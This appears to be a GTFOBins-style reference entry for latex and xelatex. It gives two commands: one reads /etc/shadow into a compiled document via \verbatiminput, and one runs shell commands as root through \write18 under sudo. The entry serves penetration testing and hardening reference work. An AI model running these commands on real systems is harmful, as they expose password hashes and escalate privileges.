This is the same behaviour for xetex/xelatex. functions: file-read: - code: | echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex latex read.tex strings read.dvi sudo: - code: | echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex sudo latex -shell-escape file.tex
